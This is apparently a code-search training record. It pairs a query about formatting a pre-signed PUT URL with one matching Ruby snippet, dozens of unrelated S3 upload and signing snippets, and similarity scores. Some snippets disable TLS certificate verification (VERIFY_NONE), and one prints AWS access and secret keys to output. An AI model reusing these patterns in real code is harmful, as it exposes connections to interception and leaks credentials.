Mixlib::Authentication::SignedHeaderAuth.signing_object(\n :http_method => :put,\n :path => URI.parse(url).path,\n :body => file_contents,\n :timestamp => timestamp,\n :user_id => rest.client_name\n )\n headers = { \n 'content-type' => 'application/x-binary', \n 'content-md5' => checksum64, \n :accept => 'application/json'\n }\n headers.merge!(sign_obj.sign(OpenSSL::PKey::RSA.new(rest.signing_key)))\n\n # Don't set inflated_response as S3 (for the Platform) doesn't return JSON.\n # Only Open Source does.\n self.inflated_response = nil\n self.exception = nil\n self.api_response = RestClient::Request.execute(\n :method => :put, \n :url => url, \n :headers => headers, \n :payload => file_contents\n )\nend", "def put(domain, bucket, key, expires_in=0, headers={})\n return generate_url('PUT', domain, bucket, key, expires_in, headers)\n end", "def upload_part(url, data)\n conn = Faraday.new(url: url) do |faraday|\n faraday.adapter :net_http\n end\n resp = conn.put do |req|\n req.body = data\n # to prevent Faraday from adding garbage header\n req.headers['Content-Type'] = ''\n end\n resp.success?\n end", "def get_presigned_url(bucket, object_key)\n url = bucket.object(object_key).presigned_url(:put)\n puts \"Created presigned URL: #{url}\"\n URI(url)\nrescue Aws::Errors::ServiceError => e\n puts \"Couldn't create presigned URL for #{bucket.name}:#{object_key}. Here's why: #{e.message}\"\nend", "def upload_file(bucket_key,file_location,file_name,access_token)\n file_uploaded = File.new(file_location, 'rb')\n response = RestClient.put(\"#{API_URL}/oss/v2/buckets/#{bucket_key}/objects/#{file_name}\",\n file_uploaded,\n { Authorization: \"Bearer #{access_token}\", content_type:'application/octet-stream'})\n return response\nend", "def upload(file)\n # Upload the given file\n AWS::S3::S3Object.store( file,\n open( file ),\n BUCKET,\n :access => :public_read )\n\n # display the URL of the file just uploaded\n puts AWS::S3::S3Object.url_for((file), BUCKET)[/[^?]+/]\nend", "def generate_pre_signed_url(bucket_name, key, options={})\n headers = options['headers'].nil? ? {} : options['headers']\n params = options['params'].nil? ? {} : options['params']\n\n path = Utils.append_uri(\"/\", key)\n url, headers[HOST] = Utils.parse_url_host(@config)\n url.insert(url.index('/') + 2, bucket_name + '.')\n headers[HOST] = bucket_name + '.' + headers[HOST]\n params[AUTHORIZATION.downcase] = @signer.sign(@config.credentials,\n GET,\n path,\n headers,\n params,\n options['timestamp'],\n options['expiration_in_seconds'] || 1800,\n options['headers_to_sign'])\n url += Utils.url_encode_except_slash(path)\n query_str = Utils.get_canonical_querystring(params, false)\n url += \"?#{query_str}\" unless query_str.to_s.empty?\n url\n end", "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})\n raise NotImplementedError\n end", "def s3_upload_policy_document(s3_bucket)\r\n\r\n if s3_bucket == \"ted_kennedy_image\" || s3_bucket == \"production_images_1\" #for forms uploading images\r\n\r\n logger.info \"in image bucket, bucketis= \"+s3_bucket.to_s\r\n\r\n\t\t\tBase64.encode64(\r\n\t\t\t\t\t\t {\r\n\t\t\t\t\t\t\texpiration: 30.minutes.from_now.utc.strftime('%Y-%m-%dT%H:%M:%S.000Z'),\r\n\t\t\t\t\t\t\tconditions: [\r\n\t\t\t\t\t\t\t\t\t{ bucket: s3_bucket },\r\n\t\t\t\t\t\t\t\t\t{ acl: 'public-read' },\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$key\", \"\"],\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$Content-Type\", \"image\"],\r\n\t\t\t\t\t\t\t\t\t[\"content-length-range\", 0, 1048576],\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$x-amz-meta-my-file-name\", \"\"],\r\n\t\t\t\t\t\t\t\t\t{ success_action_status: '201' }\r\n\t\t\t\t\t\t\t]\r\n\t\t\t\t\t}.to_json\r\n\t\t\t).gsub(/\\n|\\r/, '')\r\n\r\n\t\telse #for forms loading attachments\r\n\t\t\tBase64.encode64(\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\texpiration: 30.minutes.from_now.utc.strftime('%Y-%m-%dT%H:%M:%S.000Z'),\r\n\t\t\t\t\t\t\tconditions: [\r\n\t\t\t\t\t\t\t\t\t{ bucket: s3_bucket },\r\n\t\t\t\t\t\t\t\t\t{ acl: 'public-read' },\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$key\", \"\"],\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$Content-Disposition\", \"\"],\r\n\t\t\t\t\t\t\t\t\t[\"content-length-range\", 0, 104857600],\r\n\t\t\t\t\t\t\t\t\t[\"starts-with\", \"$x-amz-meta-my-file-name\", \"\"],\r\n [\"starts-with\", \"$Content-Type\", \"\"],\r\n\t\t\t\t\t\t\t\t\t{ success_action_status: '201' }\r\n\t\t\t\t\t\t\t]\r\n\t\t\t\t\t}.to_json\r\n\t\t\t).gsub(/\\n|\\r/, '')\r\n\r\n\t end\r\n\r\n\tend", "def update\n @event = @account.events.find(params[:id])\n file = params[:event][:photo_url]\n public_url = nil\n if file != nil\n s3 = Aws::S3::Resource.new(region: 'us-east-1')\n bucket = 'fifo-cloud'\n # Get just the file name\n name = file.original_filename\n # Create the object to upload\n obj = s3.bucket(bucket).object(name)\n # Create the option\n options = {\n acl: \"public-read\",\n metadata: {\n collection: \"events\",\n title: params[:event][:title],\n source: @event.id.to_s\n }\n }\n obj.upload_file(file.tempfile, options)\n public_url = s3.bucket(bucket).object(name).public_url\n end\n respond_to do |format|\n if @event.update_attributes!(event_params(public_url))\n\n if public_url != nil\n @upload = Upload.new(\n url: public_url,\n name: name,\n event_id: @event.id,\n collection: 'events',\n account_id: @account.id\n ).save!\n end\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_put_request(url_prefix, data, raw_response = false)\n to_put = URI.escape(url_prefix)\n request = Net::HTTP::Put.new(to_put)\n request.body = data\n @logger.info \"PUT #{to_put}\"\n exec_request(request, raw_response, data)\n end", "def s3_upload_policy_document\n return @policy if @policy\n ret = {\"expiration\" => 5.minutes.from_now.utc.xmlschema,\n \"conditions\" => [ \n {\"bucket\" => SITE['s3_bucket']}, \n [\"starts-with\", \"$key\", @photo.s3_key],\n {\"acl\" => \"private\"},\n {\"success_action_status\" => \"200\"},\n [\"content-length-range\", 0, 1048576]\n ]\n }\n @policy = Base64.encode64(ret.to_json).gsub(/\\n/,'')\n end", "def upload_url\n _get(\"/files/upload_url\") { |json| json }\n end", "def uploadFile(key = \"\")\n key = 0 < key.length ? key : self.dispatched.fileName\n self.bucket.put(key, self.string)\n self.clear\n end", "def generate_url(folder, file)\n\n bucket = \"prototype-jv\"\n s3_file_path = \"#{folder}/#{file}\"\n\n connect_to_s3()\n signer = Aws::S3::Presigner.new\n url = signer.presigned_url(:get_object, bucket: bucket, key: s3_file_path)\n\nend", "def presigned_link_uri(object, version, file)\n url_for controller: :file,\n action: :presign,\n object: object,\n version: version,\n file: file\n end", "def save(file_path, bucket_name, key=SecureRandom.uuid)\n uri = \"urn:openhbx:terms:v1:file_storage:s3:bucket:<#{bucket_name}>##{key}\"\n begin\n object = get_object(bucket_name, key)\n if object.upload_file(file_path)\n uri\n else\n nil\n end\n rescue Exception => e\n nil\n end\n end", "def s3_upload_policy_document\n\t return @policy if @policy\n\t ret = {\"expiration\" => 5.minutes.from_now.utc.xmlschema,\n\t \"conditions\" => [ \n\t {\"bucket\" => YOUR_BUCKET_NAME}, \n\t [\"starts-with\", \"$key\", @document.s3_key],\n\t {\"acl\" => \"private\"},\n\t {\"success_action_status\" => \"200\"},\n\t [\"content-length-range\", 0, 1048576]\n\t ]\n\t }\n\t @policy = Base64.encode64(ret.to_json).gsub(/\\n/,'')\n\t end", "def file_upload(file)\n file[\"//\"] = \"/\"\n file = ENV['RED5_HOME'] + \"/webapps/encrev1/#{file}\"\n request_url = \"#{@url}/file/demo\"\n request_url += \"?uid=#{@conf.uid}&sid=#{@conf.sid}\"\n $log.info \"Request filename : #{request_url}\"\n response = RestClient.put request_url, \"\"\n $log.info \"--> Got reponse : #{response}\"\n file_name = JSON.parse(response.to_str)['result']\n if file_name\n $log.info \"--> Got filename : #{file_name}\"\n request_url = \"#{@url}/file/demo/\"\n request_url += file_name\n request_url += \"?uid=#{@conf.uid}&sid=#{@conf.sid}\"\n $log.info \"Upload (#{file}) to Encre : #{request_url}\"\n response = RestClient.put request_url, File.read(file), :content_type => 'application/x-shockwave-flash'\n $log.info \"Delete #{file} ...\"\n file = File.delete(file)\n else\n file_name = nil\n end\n rescue\n file_name = nil\n $log.info \"... failed ! (check exception below)\"\n $log.info $!\n end", "def direct_s3_presigned_url\n Stash::Aws::S3.presigned_download_url(s3_key: \"#{resource.s3_dir_name(type: 'supplemental')}/#{upload_file_name}\")\n end", "def formated_api\n {\n url: self.attachment.url,\n md5: self.md5,\n }\n end", "def signature(params)\n string_to_sign =\n<<-DATA\n#{params[:method].to_s.upcase}\n#{params[:headers]['Canonical-URI']}\n#{params[:headers]['Canonical-QueryString']}\n#{params[:headers]['Canonical-Headers']}\n#{params[:headers]['Signed-Headers']}\n#{params[:headers]['Hex-Encode-Hash-Payload']}\nDATA\n\n amz_headers, canonical_amz_headers = {}, ''\n for key, value in params[:headers]\n if key[0..5] == 'x-amz-'\n amz_headers[key] = value\n end\n end\n amz_headers = amz_headers.sort {|x, y| x[0] <=> y[0]}\n for key, value in amz_headers\n canonical_amz_headers << \"#{key}:#{value}\\n\"\n end\n string_to_sign << canonical_amz_headers\n\n subdomain = params[:host].split(\".#{@host}\").first\n unless subdomain =~ /^(?:[a-z]|\\d(?!\\d{0,2}(?:\\.\\d{1,3}){3}$))(?:[a-z0-9]|\\.(?![\\.\\-])|\\-(?![\\.])){1,61}[a-z0-9]$/\n # TODO: err..... not sure if this is needed\n Fog::Logger.warning(\"fog: the specified glacier vault name(#{subdomain}) is not a valid dns name, which will negatively impact performance. For details see: http://docs.amazonwebservices.com/AmazonS3/latest/dev/BucketRestrictions.html\")\n params[:host] = params[:host].split(\"#{subdomain}.\")[-1]\n if params[:path]\n params[:path] = \"#{subdomain}/#{params[:path]}\"\n else\n params[:path] = subdomain\n end\n subdomain = nil\n end\n\n canonical_resource = @path.dup\n unless subdomain.nil? || subdomain == @host\n canonical_resource << \"#{Fog::AWS.escape(subdomain).downcase}/\"\n end\n canonical_resource << params[:path].to_s\n canonical_resource << '?'\n# TODO: all these keys need to change to reflect glacier\n for key in (params[:query] || {}).keys.sort\n if %w{\n acl\n lifecycle\n location\n logging\n notification\n partNumber\n policy\n requestPayment\n response-cache-control\n response-content-disposition\n response-content-encoding\n response-content-language\n response-content-type\n response-expires\n torrent\n uploadId\n uploads\n versionId\n versioning\n versions\n website\n }.include?(key)\n canonical_resource << \"#{key}#{\"=#{params[:query][key]}\" unless params[:query][key].nil?}&\"\n end\n end\n canonical_resource.chop!\n string_to_sign << canonical_resource\n\n signed_string = @hmac.sign(string_to_sign)\n Base64.encode64(signed_string).chomp!\n end", "def upload_params\n params.require(:upload).permit(:filename, :key)\n end", "def upload\n secure_silence_logs do\n return bad_request unless params[:file] && params[:title] && current_account\n is_file = params[:file].respond_to?(:path)\n if !is_file && !(URI.parse(params[:file]) rescue nil)\n return bad_request(:error => \"The 'file' parameter must be the contents of a file or a URL.\")\n end\n \n if params[:file_hash] && Document.accessible(current_account, current_organization).exists?(:file_hash=>params[:file_hash])\n return conflict(:error => \"This file is a duplicate of an existing one you have access to.\")\n end\n params[:url] = params[:file] unless is_file\n @response = Document.upload(params, current_account, current_organization).canonical\n render_cross_origin_json\n end\n end", "def update_signature!; end", "def update_signature!; end", "def save(file_path, bucket_name, key=SecureRandom.uuid)\n bucket_name = env_bucket_name(bucket_name)\n uri = \"urn:openhbx:terms:v1:file_storage:s3:bucket:#{bucket_name}##{key}\"\n begin\n object = get_object(bucket_name, key)\n if object.upload_file(file_path, :server_side_encryption => 'AES256')\n uri\n else\n nil\n end\n rescue Exception => e\n nil\n end\n end", "def uploadS3(name, file, prefz)\n return [false, \"S3 misconfigured\"] if prefz[:user].empty? && prefz[:host].empty? && prefz[:path].empty? && prefz[:url].empty? && prefz[:pass].empty?\n s3 = AFAmazonS3Client.alloc.initWithAccessKeyID(prefz[:user].strip, secret: prefz[:pass].strip)\n puts \"#{prefz[:user].strip.inspect} #{prefz[:pass].strip.inspect}\"\n bucket, path = prefz[:path].gsub(/^\\//, '').split('/', 2)\n s3.bucket = bucket\n NSLog(\"S3 bucket #{bucket}\")\n url = path.nil? ? \"https://#{prefz[:host]}/#{bucket}/\" : \"https://#{prefz[:host]}/#{bucket}/#{path}/#{name}\"\n NSLog(\"S3 destinationPath #{url}\")\n params = { \"Content-Type\" => \"image/png\", \"acl\" => \"public-read\" }\n s3.postObjectWithFile(file, destinationPath: \"/\", parameters: params,\n progress: lambda do |bytesWritten, totalBytesWritten, totalBytesExpectedToWrite|\n stats = (totalBytesWritten / (totalBytesExpectedToWrite * 1.0) * 100)\n NSLog(\"S3: #{file} uploaded #{stats}\")\n end,\n success: lambda do |response|\n NSLog(\"S3: #{file} uploaded successfully.\")\n uploadSuccess(url + \"/#{name}\")\n end,\n failure: lambda do |error|\n NSLog(\"S3: #{file} upload error: #{error.localizedDescription}\")\n uploadFailure(\"S3 Error: #{error.localizedDescription}\")\n end\n )\n nil\n end", "def get_presigned_post_url_for(content_type, s3_path, bucket, options = {})\n post_policy = {\n key: s3_path,\n content_type: content_type,\n signature_expiration: Time.now + 900,\n server_side_encryption: 'aws:kms',\n server_side_encryption_aws_kms_key_id: key_id,\n content_length_range: min_file_size..max_file_size # allow max 20 MB and min 200 kb\n }\n\n post = Aws::S3::PresignedPost.new(\n credentials_obj,\n region,\n bucket,\n post_policy\n )\n end", "def put_object_from_string(bucket_name, key, data, options={})\n data_md5 = Digest::MD5.base64digest(data)\n put_object(bucket_name, key, data, data_md5, data.length, options)\n end", "def signed_entry_url(data: {}, exp: 1.minute.from_now.to_i)\n token = JWT.encode({ data: data, exp: exp }, secret, \"HS256\")\n \"#{entry_url}?token=#{token}\"\n end", "def update!(**args)\n @upload_url = args[:upload_url] if args.key?(:upload_url)\n end", "def update!(**args)\n @upload_url = args[:upload_url] if args.key?(:upload_url)\n end", "def update!(**args)\n @upload_url = args[:upload_url] if args.key?(:upload_url)\n end", "def put(bucket, key, object=nil, headers={})\n object = S3Object.new(object) if not object.instance_of? S3Object\n return generate_url('PUT', bucket, CGI::escape(key), {}, merge_meta(headers, object))\n end", "def s3_upload( file_name, destination_name )\n #log(\"Uploading #{file_name} to S3 as #{destination_name} ...\")\n #load keys\n json = File.read(S3KEYS)\n ak = JSON.parse(json)\n aws_access_key_id = ak['aws_access_key_id'] \n aws_secret_access_key = ak['aws_secret_access_key']\n\n #establish S3 connection \n s3 = RightAws::S3.new(aws_access_key_id, aws_secret_access_key, {:logger =>Logger.new( File.open( LOG_FILE, 'a' ) )})\n bucket = s3.bucket(IOS_BUILDS_BUCKET)\n #upload file \n file = File.open( file_name )\n bucket.put( destination_name, file ) \nend", "def upload_json(hash, file_name, opts={})\n return false unless valid?\n pub = !!opts[:public]\n object(file_name).put(body: hash.to_json)\n make_public(file_name) if pub\n end", "def store_file(*args)\n data, content_type, filename = args.reverse\n if filename\n http.put(204, luwak, escape(filename), data, {\"Content-Type\" => content_type})\n filename\n else\n response = http.post(201, luwak, data, {\"Content-Type\" => content_type})\n response[:headers][\"location\"].first.split(\"/\").last\n end\n end", "def html_post_form\n expiration = (Time.now + 360).utc.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n policy_document = %{\n{\"expiration\": \"#{expiration}\",\n \"conditions\": [\n {\"bucket\": \"#{@cloud.bucket}\"},\n [\"starts-with\", \"$key\", \"TE\"],\n {\"success_action_redirect\": \"http://www.google.fr/\"},\n [\"content-length-range\", 0, 1048576]\n ]\n}\n }\n @policy = Base64.encode64(policy_document).gsub(\"\\n\",\"\")\n @signature = Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n @cloud.shared_secret, @policy)\n ).gsub(\"\\n\",\"\")\n end", "def upload_url\n return unless @data['image']\n # Isn't actually displayed in-app without this set\n return unless image['property'] == 'image'\n file(@data['image'])\n end", "def store_on_s3(options)\n # Deleting :url from options because we don't want it in the options that we pass to s3\n # and removing some characters that aren't allowed in urls\n url = options.delete(:url).gsub(/ /, '%20').gsub(/\\^/, '%5E')\n file = open(url)\n \n key = options.delete(:key)\n\n AWS::S3::S3Object.store(key, file, @bucket, options)\n\n # Return location on s3\n \"http://s3.amazonaws.com/\" + @bucket + \"/\" + key\n end", "def file_url(uid, info = {}, content_type: nil, content_disposition: nil, **options)\n options[:response_content_type] ||= content_type\n options[:response_content_disposition] ||= content_disposition\n\n object(uid).presigned_url(:get, **options)\n end", "def s3_upload_policy_document\n return @policy if @policy\n ret = {\"expiration\" => 60.minutes.from_now.utc.xmlschema,\n \"conditions\" => [\n {\"bucket\" => Figaro.env.s3_bucket_name},\n [\"starts-with\", \"$key\", ''],\n {\"acl\" => \"public-read\"},\n {\"success_action_status\" => \"201\"},\n [\"starts-with\", \"$utf8\", ''],\n [\"starts-with\", \"$authenticity_token\", ''],\n [\"content-length-range\", 0, Figaro.env.s3_max_file_size.to_i]\n ]\n }\n @policy = Base64.encode64(ret.to_json).gsub(/\\n/,'')\n end", "def s3_updatefile(filename, filedata)\n s3_deletefile filename\n #AWS::S3::S3Object.store filename, filedata, QBUCKET.to_s, :access => :public_read\n AWS::S3::S3Object.store filename, filedata, IMAGES_BUCKET.to_s, :access => :public_read\n end", "def put_bucket_cors(bucket_name, cors)\n data = Fog::AWS::Storage.hash_to_cors(cors)\n\n headers = {}\n headers['Content-MD5'] = Base64.encode64(OpenSSL::Digest::MD5.digest(data)).strip\n headers['Content-Type'] = 'application/json'\n headers['Date'] = Fog::Time.now.to_date_header\n\n request({\n :body => data,\n :expects => 200,\n :headers => headers,\n :bucket_name => bucket_name,\n :method => 'PUT',\n :query => {'cors' => nil}\n })\n end", "def Upload file\n \n APICall(path: \"uploads.json?filename=#{file.split('/').last}\",method: 'POST',payload: File.read(file))\n \n end", "def put_file(url, filename, headers = {})\n request(:put, url, headers, :file => filename)\n end", "def put_file(url, filename, headers = {})\n request(:put, url, headers, :file => filename)\n end", "def uploaded_file_params\n params.require(:uploaded_file).permit(:file, :hosted_file_url)\n end", "def s3_upload_policy_document\n return @policy if @policy\n ret = {\"expiration\" => 5.minutes.from_now.utc.xmlschema,\n \"conditions\" => [\n {\"bucket\" => CONFIG['bucket_name']},\n [\"starts-with\", \"$key\", @image.s3_key],\n {\"acl\" => \"private\"},\n {\"success_action_status\" => \"200\"},\n [\"content-length-range\", 0, 1048576]\n ]\n }\n @policy = Base64.encode64(ret.to_json).gsub(/\\n/,'')\n end", "def headers_for_direct_upload(key, filename:, content_type:, content_length:, checksum:); end", "def upload_file(folder_id, file_url) \n\tputs \"Uploading file: \" + file_url + \" to folder: \" + folder_id\n\tfile = {\n\t\t:url => file_url, \n\t\t:name => \"Ruby_File.pdf\", \n\t\t:notes => \"This was uploaded using Ruby\", \n\t\t:copies => 1, \n\t\t:folderId => folder_id,\n\t\t# :flow => \"Flow ezName\" # The flow value is either the easy submit name of the flow or the _id property from get_flows()\n\t}\n\tdata = JSON.generate(file)\n\tresponse = request_post('/api/partner/file', data)\n\tputs response.body\nend", "def local_file_params\n params.require(:local_file).permit(:file, :file_fingerprint, :url)\n end", "def url\n if @attributes[:filename] =~ /^http:\\/\\//\n @attributes[:filename]\n elsif $cloudfront && $cloudfront[s3_bucket]\n \"#{$cloudfront[s3_bucket]}/#{s3_key}\"\n else\n \"http://#{s3_bucket}.s3.amazonaws.com/#{s3_key}\"\n end\n end", "def store!\n # Upload the file\n prefix = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}\"\n fname = prefix+(@file.respond_to?(:original_filename) ? @file.original_filename : File.basename(@file))\n o = s3_bucket.objects[\"#{asset_path}#{fname}\"]\n o.write(Pathname.new(@file.path), {\n acl: :public_read,\n content_type: MIME::Types.type_for(@file.path).first.to_s\n })\n\n # Set the public_url attribute\n remote_url = o.public_url.to_s\n self.set(public_url: remote_url)\n self.this.update(public_url: remote_url)\n end", "def put(splat)\n bad_request if splat.empty?\n _put resolve_uri(splat[0]), request.body.read\n end", "def upload\n self._create params[:upfile], params[:pictitle]\n end", "def request_put(file, content_type)\n\turi = URI($amazon_upload_url)\n\n\trequest = Net::HTTP::Put.new(uri)\n\trequest.body_stream = File.open(file)\n\trequest.add_field(\"Content-Type\", content_type)\n\trequest.add_field('Content-Length', File.size(file))\n\n\tresponse = Net::HTTP.start(uri.host, uri.port,\n\t\t:use_ssl => uri.scheme == 'https',\n\t\t:verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|\n\t\thttp.request(request)\n\tend\n\n\treturn response\nend", "def aws_post_url\n \"#{AWS_S3_ACCESS_URL}/#{self.class.media_bucket}\"\n end", "def upload_file(f)\n # grabs the compiled asset from public_path\n full_file_path = File.join(File.dirname(@manifest.dir), f)\n one_year = 31557600\n mime = Rack::Mime.mime_type(File.extname(f)) \n file = {\n :key => f,\n :public => true,\n :content_type => mime,\n :cache_control => \"public, max-age=#{one_year}\",\n :expires => CGI.rfc1123_date(Time.now + one_year) \n }\n\n gzipped = \"#{full_file_path}.gz\" \n\n if File.exists?(gzipped)\n original_size = File.size(full_file_path)\n gzipped_size = File.size(gzipped)\n\n if gzipped_size < original_size\n file.merge!({\n :body => File.open(gzipped),\n :content_encoding => 'gzip'\n })\n log \"Uploading #{gzipped} in place of #{f}\"\n else\n file.merge!({\n :body => File.open(full_file_path)\n })\n log \"Gzip exists but has larger file size, uploading #{f}\"\n end\n else\n file.merge!({\n :body => File.open(full_file_path)\n })\n log \"Uploading #{f}\"\n end\n # put in reduced redundancy option here later if desired\n\n file = bucket.files.create( file )\n end", "def path_to_url(path)\n URI.encode(path =~ %r{^https?://} ? path : \"http://#{aliyun_upload_host}/#{path}\")\n end", "def store(key, data, bucket = nil, options = {})\n validate_key!(key)\n # Must build path before infering content type in case bucket is being used for options\n path = path!(bucket, key, options)\n infer_content_type!(key, options)\n \n put(path, options, data) # Don't call .success? on response. We want to get the etag.\n end", "def presigned_url(key, time: nil, expires_in: DEFAULT_EXPIRES_IN,\n response_cache_control: nil,\n response_content_disposition: nil,\n response_content_encoding: nil,\n response_content_language: nil,\n response_content_type: nil,\n response_expires: nil,\n version_id: nil)\n validate_expires_in(expires_in)\n\n canonical_uri = \"/\" + uri_escape_key(key)\n\n now = time ? time.dup.utc : Time.now.utc # Uh Time#utc is mutating, not nice to do to an argument!\n amz_date = now.strftime(\"%Y%m%dT%H%M%SZ\")\n datestamp = now.strftime(\"%Y%m%d\")\n\n credential_scope = datestamp + '/' + region + '/' + SERVICE + '/' + 'aws4_request'\n\n canonical_query_string_parts = [\n \"X-Amz-Algorithm=#{ALGORITHM}\",\n \"X-Amz-Credential=\" + uri_escape(@access_key_id + \"/\" + credential_scope),\n \"X-Amz-Date=\" + amz_date,\n \"X-Amz-Expires=\" + expires_in.to_s,\n \"X-Amz-SignedHeaders=\" + SIGNED_HEADERS,\n ]\n\n extra_params = {\n :\"response-cache-control\" => response_cache_control,\n :\"response-content-disposition\" => response_content_disposition,\n :\"response-content-encoding\" => response_content_encoding,\n :\"response-content-language\" => response_content_language,\n :\"response-content-type\" => response_content_type,\n :\"response-expires\" => convert_for_timestamp_shape(response_expires),\n :\"versionId\" => version_id\n }.compact\n\n\n if extra_params.size > 0\n # These have to be sorted, but sort is case-sensitive, and we have a fixed\n # list of headers we know might be here... turns out they are already sorted?\n extra_param_parts = extra_params.collect {|k, v| \"#{k}=#{uri_escape v}\" }.join(\"&\")\n canonical_query_string_parts << extra_param_parts\n end\n\n canonical_query_string = canonical_query_string_parts.join(\"&\")\n\n\n\n canonical_request = [\"GET\",\n canonical_uri,\n canonical_query_string,\n @canonical_headers,\n SIGNED_HEADERS,\n 'UNSIGNED-PAYLOAD'\n ].join(\"\\n\")\n\n string_to_sign = [\n ALGORITHM,\n amz_date,\n credential_scope,\n Digest::SHA256.hexdigest(canonical_request)\n ].join(\"\\n\")\n\n signing_key = retrieve_signing_key(datestamp)\n signature = OpenSSL::HMAC.hexdigest(\"SHA256\", signing_key, string_to_sign)\n\n return \"https://\" + self.host + canonical_uri + \"?\" + canonical_query_string + \"&X-Amz-Signature=\" + signature\n end", "def compose_url(url)\n abort \"Invalid URL: #{url}\" unless validate_url(url)\n\n query = {}\n query['map'] = 'true' if options['map']\n query['api_key'] = options['key'] if options['key']\n query['compression'] = options['compress'] if options['compress']\n\n uri = URI(url)\n uri.path = '/files'\n uri.query = URI.encode_www_form(query)\n uri.to_s\n end", "def string_to_sign\n [method, url.host, url.path, url.query].join \"\\n\"\n end", "def put(path, file, options = {})\n path = format_path(path)\n bucket_path = get_bucket_path(path)\n content_md5 = Digest::MD5.file(file).base64digest\n content_type = options[:content_type] || 'image/jpg'\n date = gmtdate\n url = path_to_url(path)\n auth_sign = sign('PUT', bucket_path, content_md5, content_type, date)\n headers = {\n 'Authorization' => auth_sign,\n 'Content-Md5' => content_md5,\n 'Content-Type' => content_type,\n 'Content-Length' => file.size,\n 'Date' => date,\n 'Host' => @aliyun_upload_host,\n 'Expect' => '100-Continue'\n }\n response = RestClient.put(url, file, headers)\n response.code == 200 ? path_to_url(path) : nil\n end", "def calculate_s3_key\n if photo && photo.filename && photo.source_id && name\n \"places/#{photo.place_id}/#{photo.source_id}/#{photo.file_parts[:root]}-#{name}.#{photo.file_parts[:extension]}\"\n else\n nil\n end\n end", "def upload_file(s3client,plaintext_key,filename,bucket)\r\n begin\r\n filebody = File.new(filename)\r\n s3enc = Aws::S3::Encryption::Client.new(encryption_key: plaintext_key,\r\n client: s3client)\r\n res = s3enc.put_object(bucket: bucket,\r\n key: filename,\r\n body: filebody)\r\n rescue Aws::S3::Errors::ServiceError => e\r\n puts \"upload failed: #{e}\"\r\n end\r\nend", "def request_put(path)\n\ttimestamp = Time.now.utc.iso8601\n\tauth = create_hmac_auth(\"PUT\", path, timestamp)\n\t\n\turi = URI($baseUrl + path)\n\n\trequest = Net::HTTP::Put.new(uri)\n\trequest.add_field(\"x-hp-hmac-authentication\", auth)\n\trequest.add_field(\"x-hp-hmac-date\", timestamp)\n\n\tresponse = Net::HTTP.start(uri.host, uri.port,\n\t\t:use_ssl => uri.scheme == 'https',\n\t\t:verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|\n\t\thttp.request(request)\n\tend\n\n\treturn response\nend" ]
[ "0.67966163", "0.6775661", "0.6487616", "0.6379967", "0.63140744", "0.62500286", "0.62426245", "0.6237337", "0.61933255", "0.6190393", "0.6108691", "0.60999954", "0.60978055", "0.609427", "0.60238963", "0.60124534", "0.59918123", "0.59866756", "0.5971516", "0.5941019", "0.5930351", "0.5928012", "0.5903244", "0.5895279", "0.5887417", "0.58743656", "0.5848248", "0.5836101", "0.5829289", "0.58245414", "0.5824378", "0.58111405", "0.5803483", "0.5795733", "0.57834065", "0.5775914", "0.5770774", "0.5767963", "0.57647914", "0.5761325", "0.5760325", "0.57576114", "0.5747637", "0.5733211", "0.57054275", "0.57049483", "0.56967247", "0.5690675", "0.5684489", "0.56793183", "0.56785053", "0.56761926", "0.56519186", "0.56493264", "0.5640238", "0.56228334", "0.56228334", "0.56196827", "0.56135106", "0.56073993", "0.55964375", "0.5589738", "0.5587337", "0.5587337", "0.5587337", "0.5573859", "0.5569782", "0.55638963", "0.5558851", "0.55571353", "0.5553824", "0.5545698", "0.55342805", "0.55311656", "0.5529623", "0.5488355", "0.54867864", "0.54859877", "0.54859877", "0.5482618", "0.54813725", "0.54808855", "0.5475591", "0.54742926", "0.5467485", "0.54664975", "0.5461267", "0.5458935", "0.54573715", "0.5453564", "0.54484034", "0.54481214", "0.54395354", "0.54385334", "0.5436578", "0.5429787", "0.54225093", "0.54220307", "0.5416405", "0.5414741" ]
0.8047017
0
Format pre signed url for put Always receives [Hash] :NOTE Reading data to format from key:'file_upload_put' Author: Aniket Date: 20/09/2018 Reviewed By:
def get_pre_singed_url_for_post(data_to_format) formatted_data = { result_type: 'file_upload_post', file_upload_post: data_to_format } formatted_data end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_pre_singed_url_for_put(data_to_format)\n formatted_data = {\n result_type: 'file_upload_put',\n file_upload_put: data_to_format\n\n }\n formatted_data\n end", "def get_signed_put_url(upload, duration)\n # use Fog config\n storage = Fog::Storage.new(Rails.configuration.x.fog_configuration)\n \n # set request attributes\n headers = { \"Content-Type\" => upload.content_type }\n options = { \"path_style\" => \"true\" }\n \n # generate signed url\n return storage.put_object_url(\n ENV['S3_BUCKET_NAME'],\n upload.path,\n duration.from_now.to_time.to_i,\n headers,\n options\n )\n end", "def get_presigned_url_put(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/pre-signed-urls/for-put\", params)\n end", "def presignedurl_params\n params.permit(:filename, :username)\n end", "def get_presigned_put_url_for(s3_name, bucket, content_type)\n params = {\n bucket: bucket,\n key: s3_name\n }\n\n options={\n content_type: content_type,\n server_side_encryption: 'aws:kms',\n ssekms_key_id: key_id\n }\n\n presigner = Aws::S3::Presigner.new({client: client})\n u = presigner.presigned_url(:put_object, params.merge(options))\n # uri = URI.parse(u)\n # uri\n # r = Net::HTTP.start(uri.host, :use_ssl => true) do |http|\n # http.send_request(\"PUT\", uri.request_uri, File.read(file_path), {\n # # This is required, or Net::HTTP will add a default unsigned content-type.\n # \"content-type\" => content_type\n # })\n #\n # end\n end", "def s3_upload_signature\n\t signature = 